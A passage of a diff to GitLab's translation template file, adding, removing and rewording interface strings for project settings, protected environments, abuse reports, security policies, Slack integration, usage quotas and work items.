msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
